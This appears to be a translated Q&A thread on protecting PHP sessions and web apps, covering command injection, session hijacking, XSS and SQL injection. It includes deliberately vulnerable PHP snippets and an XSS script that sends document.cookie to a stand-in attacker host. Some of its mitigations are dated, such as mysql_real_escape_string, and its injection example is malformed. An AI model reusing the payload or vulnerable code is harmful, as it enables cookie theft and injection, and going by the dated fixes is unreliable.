保护PHP会话免受XSS攻击



我读了很多关于owasp.org的文章,其中我记得最清楚的一件事是保护PHP会话。

我不能很好地理解安全会话是如何进行的,因此我在这里问。在PHP中保护会话的最好方法是什么?

边问:文件输入容易受到XSS攻击吗?

这是PHP会话劫持的来源:PHP安全备忘单

在PHP中保护会话的最好方法是什么?

安全就像你在商店里买的一瓶牛奶。阅读客户评论可能会告诉你什么是最好的牛奶,但对于安全来说,这有点不同。

客户评论是Owasp概述的内容。它告诉您安全会话处理的一般动态和含义。

由于PHP会话只是PHP本身提供的某种基本功能,因此没有太多可以告诉您保护这些会话的最佳方法,因为它在很大程度上取决于您如何使用该功能

然而,使用PHP会话的最佳方法的一个明确部分是密切关注PHP本身的安全报告和审查,特别是会话特性。然后注意使用最新的PHP版本,该版本提供了保护会话的最佳方式,可能是最新的稳定版本。有时如果报告了缺陷,事情在下一个版本中并没有完全修复,所以要小心。

其他与PHP无关的内容都是未定义的,Owasp在这里只能提供一个子集。

因此,为了安全起见,在开始将其应用于(您的)PHP代码之前,首先了解Owasp文档中概述的内容绝对重要。例如,通过这里的提问,我想给出的最好的方向是,你可以更加努力地了解Owasp文档中正在发生的事情和含义。

以下是一些需要牢记的主要问题:

不验证用户输入

假设你有一个网页,允许用户看到文件夹的内容(例如你的一个托管公司,并显示用户在服务器上的文件)

下面是一些可能实现这一点的代码:

$directory = $_GET['directory'];
exec("ls $directory", $result);

攻击者可以通过将其他命令传入url字符串来利用这一点,例如:

ls -LR
会话劫持

每个会话都有一个唯一的ID,如果攻击者得到了它,他们可以(潜在地)使用它来获取机密信息。

为了防止这种情况,在做任何敏感的事情之前,让用户重新认证(使用他们的密码)(例如,如果用户想要重置他们的密码,强制他们先输入旧密码)

XSS(跨站脚本攻击)

每当你有一个用户生成内容的网站(一个很好的例子是博客上的评论),就有一个潜在的威胁,攻击者会在他的内容(阅读:他的评论)中放置javaScript,这可能会潜在地伤害到所有访问该页面的用户。

下面是一个例子:

<script> 
    document.location = 'http://www.hackingYou.com/stealYourData.php?' + document.cookie; 
</script>

此代码将允许攻击者网站(hackingYou.com)窃取您当前访问的网站的cookie。

防止这种情况的一种方法是使用以下命令从输入的字符串中删除任何HTML:
strip_tags($input);
SQL注入

(如果没有这个答案就不会是一个像样的答案)

假设你有一个网页,用来让用户登录到一个站点。为了让他们成功登录,你需要检查他们在数据库中的记录。

可以这样编码:

$sql = "SELECT * FROM users WHERE username = $_GET['username'] and password = $_GET['password']";

攻击者可以通过在密码字段中输入:

来利用这一点。
abcd OR WHERE 1 = 1
生成的sql语句如下所示:
SELECT * FROM users WHERE username = hacker AND password = abcd OR WHERE 1 = 1;

这将向攻击者吐出所有用户名和密码的完整表。

要防止这种情况,请使用以下命令对SQL的输入字符串进行"消毒":

mysql_real_escape_string($input) 

这是最基本的,显然人们应该通过阅读最新的安全公告来保持更新,例如:

  • Bug跟踪
  • PHP安全联盟(PHP安全专家)
  • OWASP

确保所有环境安全的最佳方法是学习一个PHP web框架,它将为您提供随时可用的安全级别输入。

显然,安全是不存在的,它存在一个更好的安全性和一个最差的安全性,我建议你不要重新发明轮子,所以web框架每天都被深度修复,根据社区bug/黑客报告,我认为这是你能得到的最大的安全级别!

相关内容

  • 没有找到相关文章

最新更新